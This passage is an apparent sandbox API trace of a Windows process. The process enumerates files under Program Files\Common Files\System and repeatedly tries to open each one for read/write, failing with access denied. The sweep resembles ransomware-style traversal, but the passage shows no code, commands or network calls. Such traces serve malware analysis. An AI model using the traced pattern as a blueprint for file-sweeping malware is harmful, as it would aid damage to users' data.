ftLastWriteTime.dwLowDateTime=0x833eacc3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msado20.tlb", cAlternateFileName="")) returned 1 [0152.780] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado20.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.781] GetLastError () returned 0x5 [0152.781] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x833eacc3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x833eacc3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x833eacc3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x12000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msado21.tlb", cAlternateFileName="")) returned 1 [0152.781] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.781] GetLastError () returned 0x5 [0152.781] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83410e23, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83410e23, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x83410e23, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x17000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msado25.tlb", cAlternateFileName="")) returned 1 [0152.781] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado25.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.781] GetLastError () returned 0x5 [0152.781] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83410e23, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83410e23, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x83410e23, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msado26.tlb", cAlternateFileName="")) returned 1 [0152.782] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado26.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.783] GetLastError () returned 0x5 [0152.783] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83436f83, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83436f83, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8345d0e3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msado27.tlb", cAlternateFileName="")) returned 1 [0152.783] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado27.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.783] GetLastError () returned 0x5 [0152.783] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83483244, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83483244, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x83483244, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msado28.tlb", cAlternateFileName="")) returned 1 [0152.783] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado28.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.783] GetLastError () returned 0x5 [0152.783] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ec495ee, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9ec495ee, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9ec6f74e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x72000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msadomd.dll", cAlternateFileName="")) returned 1 [0152.783] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62a6a67, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x62a6a67, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x625a7ad, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msadomd28.tlb", cAlternateFileName="")) returned 1 [0152.783] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd28.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.784] GetLastError () returned 0x5 [0152.784] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ad50fa2, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ad50fa2, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ad50fa2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msador15.dll", cAlternateFileName="")) returned 1 [0152.784] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9debf8b5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9debf8b5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9dee5a15, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x79000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msadox.dll", cAlternateFileName="")) returned 1 [0152.784] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5fd3080, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x5fd3080, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x5f60c69, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msadox28.tlb", cAlternateFileName="")) returned 1 [0152.784] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadox28.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.785] GetLastError () returned 0x5 [0152.785] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf55bba, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xbf55bba, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x347dbdb0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1a000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msadrh15.dll", cAlternateFileName="")) returned 1 [0152.785] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf55bba, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xbf55bba, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x347dbdb0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1a000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msadrh15.dll", cAlternateFileName="")) returned 0 [0152.785] FindClose (in: hFindFile=0x2c6260 | out: hFindFile=0x2c6260) returned 1 [0152.785] GetProcessHeap () returned 0x2a0000 [0152.785] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7d38 | out: hHeap=0x2a0000) returned 1 [0152.785] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf4f1c09, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xbf4f1c09, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x128ffb00, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x7200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DirectDB.dll", cAlternateFileName="")) returned 1 [0152.785] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-US", cAlternateFileName="")) returned 1 [0152.785] GetProcessHeap () returned 0x2a0000 [0152.785] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x66) returned 0x2c22b0 [0152.785] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\en-US\\*.*", lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c6260 [0152.786] GetProcessHeap () returned 0x2a0000 [0152.786] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c22b0 | out: hHeap=0x2a0000) returned 1 [0152.786] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0152.786] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb313d55, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb313d55, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x16e00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wab32res.dll.mui", cAlternateFileName="")) returned 1 [0152.786] GetProcessHeap () returned 0x2a0000 [0152.786] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x268) returned 0x2c7d38 [0152.786] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui" (normalized: "c:\\program files\\common files\\system\\en-us\\wab32res.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.786] GetLastError () returned 0x5 [0152.786] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb313d55, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb313d55, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x16e00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wab32res.dll.mui", cAlternateFileName="")) returned 0 [0152.786] FindClose (in: hFindFile=0x2c6260 | out: hFindFile=0x2c6260) returned 1 [0152.787] GetProcessHeap () returned 0x2a0000 [0152.787] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7d38 | out: hHeap=0x2a0000) returned 1 [0152.787] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msadc", cAlternateFileName="")) returned 1 [0152.787] GetProcessHeap () returned 0x2a0000 [0152.787] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x66) returned 0x2c22b0 [0152.787] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\*.*", lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c6260 [0152.794] GetProcessHeap () returned 0x2a0000 [0152.794] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c22b0 | out: hHeap=0x2a0000) returned 1 [0152.794] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0152.794] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa34c44b4, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa34c44b4, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa05a2bb2, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x276, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="adcjavas.inc", cAlternateFileName="")) returned 1 [0152.794] GetProcessHeap () returned 0x2a0000 [0152.794] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x268) returned 0x2c7d38 [0152.794] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.795] GetLastError () returned 0x5 [0152.795] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa34ea611, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa34ea611, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa063b126, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x26f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="adcvbs.inc", cAlternateFileName="")) returned 1 [0152.795] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.795] GetLastError () returned 0x5 [0152.795] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-US", cAlternateFileName="")) returned 1 [0152.795] GetProcessHeap () returned 0x2a0000 [0152.796] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x72) returned 0x2b9ae0 [0152.796] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0152.798] GetProcessHeap () returned 0x2a0000 [0152.798] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2b9ae0 | out: hHeap=0x2a0000) returned 1 [0152.798] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0152.798] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9351968, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x9351968, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcer.dll.mui", cAlternateFileName="")) returned 1 [0152.798] GetProcessHeap () returned 0x2a0000 [0152.798] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x274) returned 0x2f32d0 [0152.798] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcer.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcer.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.799] GetLastError () returned 0x5 [0152.799] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc32e361, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xc60371c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xc32e361, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcfr.dll.mui", cAlternateFileName="")) returned 1 [0152.799] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcfr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcfr.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.799] GetLastError () returned 0x5 [0152.799] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a073ed, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x9e34029, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x9a073ed, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcor.dll.mui", cAlternateFileName="")) returned 1 [0152.800] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcor.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcor.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.800] GetLastError () returned 0x5 [0152.800] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93053f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x93053f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msaddsr.dll.mui", cAlternateFileName="")) returned 1 [0152.800] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msaddsr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msaddsr.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.801] GetLastError () returned 0x5 [0152.801] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb313d55, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb313d55, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaprsr.dll.mui", cAlternateFileName="")) returned 1 [0152.801] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaprsr.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.801] GetLastError () returned 0x5 [0152.801] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92b8e84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x92b8e84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaremr.dll.mui", cAlternateFileName="")) returned 1 [0152.801] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaremr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaremr.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.801] GetLastError () returned 0x5 [0152.801] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92b8e84, 